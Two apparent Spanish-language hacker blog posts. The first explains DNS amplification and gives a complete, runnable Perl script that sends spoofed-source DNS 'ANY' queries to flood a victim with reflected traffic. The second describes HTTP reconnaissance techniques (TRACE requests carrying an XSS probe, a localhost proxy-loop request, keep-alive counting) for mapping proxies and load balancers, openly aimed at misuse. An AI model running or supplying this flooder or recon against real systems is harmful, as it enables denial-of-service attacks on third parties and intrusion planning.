Net::RawIP es un modulo/libreria de perl, que nos permite hacer gran cantidad de cosas, entre las cuales esta enviar paquetes spoofeados (tcp, udp, icmp, generic), vamos a ver un ejemplo de ello, un PoC de DNS Amplification que me arme por ahi usando esta libreria.

Vamos a explicar la tecnica en cuestion (el codigo ya esta comentado xD)

¿por que es eficiente?

Vamos a dar un ejemplo con dig:

xianur0@Zer0-Null:~/Net-RawIP-0.25$ dig @192.168.1.254 . ANY

; <<>> DiG 9.6.1-P2 <<>> @192.168.1.254 . ANY
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 53160 ;; flags: qr rd ra; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 11 ;; QUESTION SECTION: ;. IN ANY ;; ANSWER SECTION: . 452834 IN NS c.root-servers.net. . 452834 IN NS e.root-servers.net. . 452834 IN NS f.root-servers.net. . 452834 IN NS d.root-servers.net. . 452834 IN NS b.root-servers.net. . 452834 IN NS j.root-servers.net. . 452834 IN NS g.root-servers.net. . 452834 IN NS l.root-servers.net. . 452834 IN NS h.root-servers.net. . 452834 IN NS k.root-servers.net. . 452834 IN NS m.root-servers.net. . 452834 IN NS a.root-servers.net. . 452834 IN NS i.root-servers.net. . 66297 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2010060800 1800 900 604800 86400 ;; ADDITIONAL SECTION: e.root-servers.net. 538845 IN A 192.203.230.10 f.root-servers.net. 539272 IN A 192.5.5.241 f.root-servers.net. 600142 IN AAAA 2001:500:2f::f d.root-servers.net. 538814 IN A 128.8.10.90 b.root-servers.net. 538838 IN A 192.228.79.201 j.root-servers.net. 538827 IN A 192.58.128.30 j.root-servers.net. 600142 IN AAAA 2001:503:c27::2:30 g.root-servers.net. 538716 IN A 192.112.36.4 l.root-servers.net. 538832 IN A 199.7.83.42 l.root-servers.net. 157464 IN AAAA 2001:500:3::42 h.root-servers.net. 538823 IN A 128.63.2.53 ;; Query time: 1328 msec ;; SERVER: 192.168.1.254#53(192.168.1.254) ;; WHEN: Tue Jun 8 16:00:21 2010 ;; MSG SIZE rcvd: 497



es decir, nosotros solicitamos el registro any de un punto (root/raiz), y el servidor DNS nos respondio con el listado de los servidores DNS root de internet.

a cualquier servidor DNS que preguntemos esto por lo regular respondera con dicho listado. Ahora si nosotros enviamos un paquete DNS (como se ha dicho con el origen spoofeado xD) preguntando esto mismo, el servidor DNS respondera a la victima, por lo cual este ataque se amplifica (es mucho mayor lo que el servidor DNS envia que lo que nosotros enviamos).


Ahora va el PoC:


Código:
#!/usr/bin/perl

# By Xianur0
# uxmal666@gmail.com

use Net::DNS;
use Net::RawIP qw(:pcap);

print "\t\tDNS Amplification Attack By Xianur0\n\n";
my $usage = "\nUso: $0 [victima] [servidor] [Puerto victima (udp)] [N. Paquetes] [Registro]\n";

die $usage unless $ARGV[0] && $ARGV[1] && $ARGV[2] && $ARGV[3] && $ARGV[4];

my $fuckingvar1=$ARGV[0];
my $fuckingvar2=$ARGV[1];
my $fuckingvar4=$ARGV[2];
my $fuckingvar5='53';
my $registro = $ARGV[4];
my $domain = ".";
my $fuckingvar6 = 4000;
$fuckingvar6 = $ARGV[3] if ($ARGV[3] != 0);

my $packet_r = Net::DNS::Packet->new($domain, $registro, "IN"); # creamos el paquete
my $udp_r = new Net::RawIP({ip=> {saddr=>$fuckingvar1, daddr=>$fuckingvar2}, udp=>{source=>$fuckingvar4, dest=>$fuckingvar5}}); # especificamos los valores (IP Spoofeada, destino (victima), puerto origen (puerto a donde se enviara la respuesta del DNS) y destino)

print "Enviando...\n";
for($fuck = 0; $fuck < $fuckingvar6; $fuck++) {
  $udp_r->set({udp=>{data=>$packet_r->data}});
  $udp_r->send();
}


print "Enviado!\n";


Bytez xianur0

Analisis de red mediante HTTP

Posted on 11:37 by Xianur0

Antes que nada aclaro que se requiere conocimientos previos sobre el funcionamiento del HTTP, no se va a explicar el funcionamiento, solo va a mostrar los mecanismos de analisis...

Supongamos, nosotros tenemos una transferencia HTTP con web.com. Lo que podemos ver a simple vista es la respuesta que nos da, pero mas haya, nos interesa saber como esta estructurada la conexion al servidor, es decir, que puntos/proxys/balanceadores de carga hay?

Y por que nos seria util saber eso?, por varias razones, por ejemplo si determinamos la estructura que hay, podemos analizar las reglas de cada uno de los proxys y por consiguiente utilizarlo para algo "no tan bueno". Sin mas comenzemos:


de inicio vamos a utiliza webs reales, pero ocultando las direcciones, para evitarnos problemas....
Solo llames a estas webs: www.servidor1.com y www.servidor2.com.


La prueba que siempre nos sera de utilidad es la del TRACE:


TRACE / HTTP/1.0
Host: www.servidor1.com
X: <script>alert(/xss/.source)</script>



Esta prueba nos ayudara a determinar si se edito el paquete en algun punto de la red antes de llegar al servidor, es decir, la respuesta aproximada a esta consulta deberia de ser:


HTTP/1.1 200 OK
Date: Sat, 05 Jun 2010 17:20:26 GMT
Server: Apache
Transfer-Encoding: chunked
Content-Type: message/http

50
TRACE / HTTP/1.1
Host: www.servidor1.com
X: <script>alert(/xss/.source)</script>


0



suponiendo que el servidor solo envia datos con Transfer-encoding chunked.

esto es, se responde como contenido lo que enviamos, en caso de que la respuesta sea diferente, quiere decir que tenemos algo en la red, del mismo modo podemos extraer datos de eso, es decir segun cabeceras añadidas en el envio, se pueden determinar algunas cosas, por ejemplo:

HTTP/1.0 200 OK
Date: Sat, 05 Jun 2010 17:23:46 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.12
Content-Type: message/http
X-Cache: MISS from wefwfg
X-Cache-Lookup: NONE from wefwfg:80
Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)
Connection: close

TRACE / HTTP/1.0
Host: www.servidor2.com
Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)
X-Forwarded-For: 189.xx.xx.xx
Cache-Control: max-age=259200
Connection: keep-alive



esto es, primero que nada podemos ver en el encabezado:

X-Cache: MISS from wefwfg
X-Cache-Lookup: NONE from wefwfg:80
Via: 1.0 wefwfg:80 (squid/2.6.STABLE5)


Para comenzar ahi podemos determinar que se utiliza un servidor proxy cache llamado wefwfg, el usa el puerto 80, y es un squid/2.6.STABLE5, de momento ya sabemos que hay un servidor proxy cache implicado, pero eso no es todo.

TRACE / HTTP/1.0
Host: www.servidor2.com
Via: 1.1 wefwfg:80 (squid/2.6.STABLE5)
X-Forwarded-For: 189.xx.xx.xx
Cache-Control: max-age=259200
Connection: keep-alive



El proxy cache agrega las cabeceras Via, X-Forwarded-For, Cache-Control y Connection.

Lo que enviamos al servidor fue (en este caso):

TRACE / HTTP/1.1
Host: www.servidor2.com



Y ese envio no coincide con lo que le llego al servidor....

Ahora otro detalle: se envio la cabecera X-Forwarded-For, con mi ip, esto quiere decir, que a simple vista, no hay otro servidor proxy antes de este squid, en otras palabras, el servidor principal, al cual nos conectamos fue: wefwfg, y este realizo la conexion al servidor donde se encuentra www.servidor2.com

Ahora nos queda determinar si se balancea la carga (es decir que hubiera mas servidores en esto...), como podriamos hacer esto?, mediante un envio recursivo de datos, lo mas comun es detectar cabeceras Date, que no coincide (es decir, fallan por 1 minuto, 1 hora, 1 año, o mas...) o alguna diferencia en otra cabecera que marque tiempo o algo similar que pueda variar en caso de tratarse de otro servidor.

Pero no estas conformes con estas tecnicas, por la simple razon de que no funcionan en todos los servidores, es decir si el proxy no edita la respuesta, si no envia via o cabeceras similares o el servidor web no soporta TRACE, entonces no funcionaran, vamos a ver algunas mas:


GET http://localhost/ HTTP/1.1
Host: localhost
Connection: Close
Proxy-Connection: Close




Esto es una trampa doble, para comenzar, se pide localhost, es decir si hay un proxy este intentara conectarse a si mismo en el puerto 80, lo cual por lo regular causaria un bucle infinito (en caso de ser un proxy sin filtro para esto), un 403 o un 500. Pero adicional a eso pueden aver algunos otros datos:

HTTP/1.1 403 Forbidden
Date: Sat, 05 Jun 2010 17:20:32 GMT
Content-Length: 257
Content-Type: text/html
Server: NetCache appliance (NetApp/5.4R2D2)



Tenemos un 403, y aparte en la cabecera Server, tenemos datos del servidor proxy, en este caso un NetCache (Version 5.4R2D2).

Ahora dije que era una trampa doble, como podran notar agrege 2 tokens para la conexion (encabezados Connection y Proxy-Connection), es decir, en caso de no recibir un 403 o 500, podemos recibir en el encabezado de la respuesta un Connection: close o un Proxy-Connection: Close.

Un servidor web comun no utiliza Proxy-Connection, un proxy si...

Ahora podemos usar eso mismo con otra clase de consultas y ayudaria bastante...

Ahora regresando a lo del balanceo de cargas, lo mas eficiente para estos casos, aparte de revisar que las cabeceras no cuadren con lo que deberian, se puede forzar al servidor a mostrarse, como?

mediante un envio recursivo de paquetes, es decir, podemos determinar cuando un servidor cambie por ciertos detalles por ejemplo:

un servidor soporta 3 paquetes por conexion persistente, es decir:

GET / HTTP/1.1
Host: servidor2.com
Connection: keep-alive

GET / HTTP/1.1
Host: servidor2.com
Connection: keep-alive

GET / HTTP/1.1
Host: servidor2.com
Connection: close



y respondera a esas 3 consultas en la misma conexion, pero a la siguiente consulta, soporta 4?, ahi detectamos que son servidores diferentes...

Otro:

Enviamos varias consultas con diferentes metodos, determinamos que metodos soporta y si en otra vuelta, no soporta algun metodo, es lo mismo, es otro servidor...


Bueno concluimos con este paper diciendo lo siguiente:
la seguridad es solo un mito, los proxys invisibles no existen, siempre hay una forma de detectar cuando algo que esta ahi, no deberia estar ahi ;)...

PD: para mas informacion y mas tecnicas, asistir a mi conferencia en x25sec xd jajajaj

Saludos!, esto es todo por el momento... xD....